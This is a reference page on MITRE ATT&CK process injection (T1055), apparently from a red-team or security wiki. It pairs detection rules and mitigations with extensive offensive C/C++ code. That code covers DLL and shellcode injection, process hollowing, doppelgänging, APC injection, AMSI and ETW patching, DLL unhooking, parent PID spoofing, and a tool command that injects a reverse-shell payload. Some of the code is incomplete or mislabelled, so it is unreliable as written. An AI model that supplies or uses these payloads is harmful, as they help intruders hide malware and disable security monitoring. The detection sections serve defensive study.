Critical Severity | ATT&CK T1055
🔓 Process Injection
🧠 Description
What is Process Injection?
Process Injection is a technique used to execute arbitrary code within the address space of another process. This allows attackers to hide their malicious activity by disguising it as legitimate processes.
Why is it Critical?
- Bypasses application allowlisting and AV signatures
- Inject code into trusted processes (explorer.exe, svchost.exe)
- Evade process monitoring and behavioral analysis
- Access sensitive data from process memory
- Persist across reboots without writing to disk
Types of Process Injection:
- Classic DLL Injection: Inject DLL into running process via CreateRemoteThread
- Process Hollowing: Unmap process and replace with malicious code
- Process Doppelgänging: Use transaction-based file replacement
- APC Injection: Queue Asynchronous Procedure Calls
- Thread Execution Hijacking: Suspend and redirect thread execution
- Early Bird Injection: Inject before process entry point
🏷️ Classification
- MITRE ATT&CK: T1055 - Process Injection
- Sub-techniques:
- T1055.001 - Dynamic-link Library Injection
- T1055.002 - Portable Executable Injection
- T1055.003 - Thread Execution Hijacking
- T1055.004 - Asynchronous Procedure Call Injection
- T1055.005 - Thread Local Storage Injection
- T1055.008 - Process Hollowing
- T1055.009 - Process Doppelgänging
- T1055.011 - Extra Window Memory Injection
- Detection Difficulty: High
- False Positive Risk: Medium
🎯 Attack Surface
Process injection techniques are commonly used in:
- ✅ Malware Distribution: Inject into browsers to steal credentials
- ✅ C2 Frameworks: Cobalt Strike, Metasploit, Covenant
- ✅ Credential Theft: Inject into lsass.exe for password extraction
- ✅ Persistence: Hide malicious code in trusted processes
- ✅ Defense Evasion: Bypass application whitelisting
- ✅ Lateral Movement: Inject into processes for pivot
Target Processes:
Common targets include: svchost.exe, explorer.exe, chrome.exe, notepad.exe, services.exe, lsass.exe
Common targets include: svchost.exe, explorer.exe, chrome.exe, notepad.exe, services.exe, lsass.exe
⚠️ Preconditions
- Administrative Rights: Required for most injection techniques
- Memory Allocation: Ability to allocate memory in target process
- Thread Handle: Handle to a thread in target process
- Target Process: Running process with accessible memory
- Code to Inject: DLL, shellcode, or executable payload
Note: Some injection techniques like DLL hollowing may require code signing bypass on modern Windows.
🔍 Detection
Memory Forensic Indicators:
- Unmapped Regions: Allocated memory without mapped sections
- Cross-Process Memory Access: Write operations from external processes
- Suspicious Handle Creation: OpenProcess with PROCESS_ALL_ACCESS
- Remote Thread Creation: CreateRemoteThread, RtlCreateUserThread
- Shellcode Execution: RWX memory regions with executed code
Sysmon Event IDs:
Event ID 8: CreateRemoteThread (remote thread creation) Event ID 10: ProcessAccess (process memory access) Event ID 12: RegistryEvent (registry modifications) Event ID 17: PipeEvent (named pipe creation for C2) Event ID 18: WmiEvent (WMI subscription creation)
YARA Rules:
rule suspicious_process_injection {
strings:
$api1 "OpenProcess" ascii
$api2 "VirtualAllocEx" ascii
$api3 "WriteProcessMemory" ascii
$api4 "CreateRemoteThread" ascii
$shellcode { 0x48 0x31 0xC0 0x48 0x83 0xEC 0x20 }
condition:
3 of ($api*) and $shellcode
}
⚙️ Tool Automation
Malleable C2 Profiles
Cobalt Strike profiles with process injection options
Shellcode Packers
Convert payloads to shellcode for injection
Process Explorer
Sysinternals tool for monitoring process activity
Frida
Dynamic instrumentation framework
# Cobalt Strike - Spawn to specific process beacon> spawnto x64 calc.exe # SharpMint - Process injection toolkit SharpMint.exe inject --pid 1234 --payload rev_shell.bin # PE-Sieve - Detect process hollowing PE-Sieve.exe --pid 1234 --full
💣 Basic Payloads
🧪 Classic DLL Injection (C++)
#include#include BOOL InjectDLL(DWORD pid, const char* dllPath) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); if (!hProcess) return FALSE; SIZE_T dllPathSize = strlen(dllPath) + 1; LPVOID dllPathAddr = VirtualAllocEx(hProcess, NULL, dllPathSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!dllPathAddr) return FALSE; WriteProcessMemory(hProcess, dllPathAddr, dllPath, dllPathSize, NULL); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"), dllPathAddr, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess); return TRUE; }
🔧 Shellcode Injection (C)
unsigned char shellcode[] = "\x48\x31\xc0\x48\x83\xec\x20\x50\x48\xb8...";
int main() {
// Allocate executable memory in current process
void* execMem = VirtualAlloc(0, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(execMem, shellcode, sizeof(shellcode));
// Execute shellcode
((void(*)())execMem)();
return 0;
}
🚀 Advanced Payloads
🔐 Process Hollowing (C++)
BOOL ProcessHollowing(const char* targetPath, unsigned char* shellcode, SIZE_T size) {
// Create target process in suspended state
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA(targetPath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// Get context of suspended thread
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// Unmap process sections
HANDLE hProcess = pi.hProcess;
PBYTE pRemoteImage = NULL;
// Overwrite entry point with shellcode
SIZE_T bytesWritten;
LPVOID entryPoint = VirtualAllocEx(hProcess, NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, entryPoint, shellcode, size, &bytesWritten);
// Update thread context
ctx.Rip = (DWORD64)entryPoint;
SetThreadContext(pi.hThread, &ctx);
// Resume thread
ResumeThread(pi.hThread);
return TRUE;
}
🎭 Process Doppelgänging (C++)
BOOL ProcessDoppelgang(const char* targetExe, unsigned char* payload, SIZE_T size) {
// Create a transaction
HANDLE hTransaction = CreateTransaction(NULL, NULL, 0, 0, 0, 0, NULL);
// Create section from target executable within transaction
HANDLE hSection;
LARGE_INTEGER maxSize = {0};
NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize,
PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0);
// Create file within transaction
HANDLE hFile;
CreateFileTransactedA(targetExe, GENERIC_ALL, 0, NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL, hTransaction, NULL, NULL);
// Map the section with malicious payload
LPVOID mappedFile = MapViewOfFile(hSection, FILE_ALL_ACCESS, 0, 0, 0);
memcpy(mappedFile, payload, size);
UnmapViewOfFile(mappedFile);
// Create process from the section
PROCESS_INFORMATION pi;
STARTUPINFOA si = {sizeof(si)};
CreateProcessFromSection(hSection, NULL, NULL, FALSE, &si, &pi);
CloseHandle(hTransaction);
return TRUE;
}
⚡ APC Injection Queue
BOOL ApcInjectionQueue(DWORD targetPid, unsigned char* shellcode, SIZE_T size) {
// Open target process
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
// Allocate shellcode in target process
LPVOID shellcodeAddr = VirtualAllocEx(hProcess, NULL, size,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, shellcodeAddr, shellcode, size, NULL);
// Open all threads
THREADENTRY32 te32;
te32.dwSize = sizeof(te32);
HANDLE hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
while (Thread32Next(hThreadSnap, &te32)) {
if (te32.th32OwnerProcessID == targetPid) {
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
// Queue user-mode APC to each thread
QueueUserAPC((PAPCFUNC)shellcodeAddr, hThread, NULL);
CloseHandle(hThread);
}
}
CloseHandle(hThreadSnap);
CloseHandle(hProcess);
return TRUE;
}
🛡️ EDR Bypass Payloads
🔍 Unhooking DLLs
void UnhookDll(const char* dllName) {
HMODULE hModule = GetModuleHandleA(dllName);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hModule + dosHeader->e_lfanew);
// Get original DLL from disk
PBYTE origDll = (PBYTE)LoadLibraryExA(dllName, NULL, DONT_RESOLVE_DLL_REFERENCES);
PIMAGE_DOS_HEADER origDosHeader = (PIMAGE_DOS_HEADER)origDll;
PIMAGE_NT_HEADERS origNtHeaders = (PIMAGE_NT_HEADERS)(origDll + origDosHeader->e_lfanew);
// Copy clean .text section over hooked one
for (WORD i = 0; i < origNtHeaders->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(origNtHeaders) + i;
if (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
memcpy((BYTE*)hModule + section->VirtualAddress,
origDll + section->VirtualAddress,
section->SizeOfRawData);
}
}
FreeLibrary(GetModuleHandleA(dllName));
}
🚫 Blocking ETW
// ETW TiTraceEvent provider bypass
void BlockETW() {
HANDLE ntdll = GetModuleHandleA("ntdll.dll");
FARPROC EtwEventWrite = GetProcAddress(ntdll, "EtwEventWrite");
// Patch EtwEventWrite to return immediately
DWORD oldProtect;
VirtualProtect(EtwEventWrite, 1, PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)EtwEventWrite = 0xC3; // RET instruction
VirtualProtect(EtwEventWrite, 1, oldProtect, &oldProtect);
}
// Alternative: EtwTiLogOnstackEvent bypass
void PatchEtwTiLogOnstackEvent() {
BYTE patch[] = { 0x48, 0x33, 0xC0, 0xC3 }; // xor rax, rax; ret
void* target = GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwTiLogOnstackEvent");
DWORD old;
VirtualProtect(target, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
memcpy(target, patch, sizeof(patch));
VirtualProtect(target, sizeof(patch), old, &old);
}
🔒 AMSI Bypass
// Patch AMSI scan buffer to always fail
BOOL PatchAmsi() {
HMODULE amsi = LoadLibraryA("amsi.dll");
FARPROC AmsiScanBuffer = GetProcAddress(amsi, "AmsiScanBuffer");
// Patch function to return AMSI_RESULT_CLEAN
BYTE patch[] = {
0xB8, 0x57, 0x00, 0x07, 0x80, // mov eax, 0x80070057 (ACCESS_DENIED)
0xC3 // ret
};
DWORD old;
VirtualProtect(AmsiScanBuffer, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
memcpy(AmsiScanBuffer, patch, sizeof(patch));
VirtualProtect(AmsiScanBuffer, sizeof(patch), old, &old);
return TRUE;
}
// Alternative: AmsiScanString bypass
BOOL PatchAmsiScanString() {
HMODULE amsi = LoadLibraryA("amsi.dll");
void* target = GetProcAddress(amsi, "AmsiScanString");
BYTE patch[] = { 0xC3 }; // Just return
DWORD old;
VirtualProtect(target, 1, PAGE_EXECUTE_READWRITE, &old);
memset(target, 0x90, 1); // NOP
VirtualProtect(target, 1, old, &old);
return TRUE;
}
🎭 Defense Evasion Techniques
🌊 Parent PID Spoofing
// Start process with spoofed parent (explorer.exe)
void SpoofParentPPID(const char* payloadPath) {
PROCESS_INFORMATION pi;
STARTUPINFOEXA si = { sizeof(STARTUPINFOEXA) };
SIZE_T attrSize;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(), HEAP_ZERO_MEMORY, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
// Get explorer.exe PID
DWORD explorerPid = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
if (Process32First(hSnapshot, &pe32)) {
if (strcmp(pe32.szExeFile, "explorer.exe") == 0) {
explorerPid = pe32.th32ProcessID;
}
}
// Update parent process attribute
UpdateProcThreadAttribute(si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&explorerPid, sizeof(explorerPid), NULL, NULL);
CreateProcessA(payloadPath, NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
}
🎭 Fake Command Line
// Spoof command line to appear legitimate
void SpoofCommandLine(const char* targetExe, const char* fakeArgs) {
STARTUPINFOEXA si = { sizeof(STARTUPINFOEXA) };
PROCESS_INFORMATION pi;
// Duplicate process token
HANDLE hProcess = GetCurrentProcess();
HANDLE hToken;
OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &hToken);
// Create process with custom startup info
CreateProcessA(targetExe, (LPSTR)fakeArgs, NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si.StartupInfo, &pi);
}
🕵️ Hidden Window Station
// Create process in hidden window station
void CreateHiddenProcess(const char* exePath) {
// Get current process handle
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
// Create custom window station with NULL DACL
HWINSTA hWinSta = CreateWindowStation(NULL, 0, GENERIC_ALL, NULL);
SetProcessWindowStation(hWinSta);
// Create hidden desktop
HDESK hDesktop = CreateDesktop("HiddenDesktop", NULL, NULL, 0,
GENERIC_ALL, NULL);
// Spawn process in hidden context
STARTUPINFOA si = { sizeof(si) };
si.lpDesktop = "HiddenDesktop";
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW;
PROCESS_INFORMATION pi;
CreateProcessA(exePath, NULL, NULL, NULL, FALSE,
CREATE_NO_WINDOW | DETACHED_PROCESS, NULL, NULL, &si, &pi);
}
💥 Impact Analysis
Capabilities Gained:
- Signature Evasion: Code execution without AV detection
- Behavioral Bypass: Evade process monitoring tools
- Credential Access: Inject into lsass for password extraction
- Privilege Escalation: Inject into SYSTEM processes
- Persistence: Maintain foothold without files on disk
- Lateral Movement: Inject into remote processes via DCOM/RPC
Real-World Examples:
- TrickBot: Used process injection into browser processes
- Emotet: Injected into legitimate Windows processes
- Cobalt Strike: Process injection for beacon deployment
- APT29 (Cozy Bear): Process hollowing in DUCKO-TURTLE campaigns
🛡️ Mitigation
✅ Primary Defenses:
- Enable Advanced Threat Protection (ATP)
- Deploy EDR solutions with behavior monitoring
- Implement application whitelisting (AppLocker/GPO)
- Restrict process creation via Group Policy
- Enable Secure Boot and HVCI
Memory Protection:
- CFG (Control Flow Guard): Prevents indirect call hijacking
- Arbitrary Code Guard: Blocks code execution from memory pages
- CIG (Code Integrity Guard): Only signed code can execute
- HVCI: Hypervisor-protected code integrity
Sysmon Configuration:
lsass.exe svchost.exe 0x1F0FFF 0x143A
⚙️ Detection Logic
Sigma Rules:
title: Process Injection via CreateRemoteThread
id: process-injection-001
status: experimental
description: Detects CreateRemoteThread API calls
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 8
TargetThreadId: '*'
NewThreadId: '*'
StartAddress: '*'
condition: selection
fields:
- SourceProcessGuid
- TargetProcessGuid
- TargetThreadId
level: high
---
title: Suspicious Process Memory Access
id: process-injection-002
status: experimental
description: Detects suspicious process memory access
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 10
CallTrace:
- 'C:\\Windows\\SYSTEM32\\ntdll.dll+*'
- 'C:\\Windows\\System32\\KERNELBASE.dll'
GrantedAccess: '0x1F0FFF'
condition: selection
level: high
KQL Queries (Microsoft Sentinel):
SysmonEvent | where EventID == 8 | where not(TargetProcessId in (SourceProcessId)) | project TimeGenerated, SourceProcessId, TargetProcessId, TargetThreadId, StartAddress | where StartAddress != 0x0 // Suspicious RWX memory allocation SysmonEvent | where EventID == 10 | where GrantedAccess == "0x1F0FFF" | where CallTrace contains "ntdll" | summarize Count=count() by SourceProcessId, bin(TimeGenerated, 1h)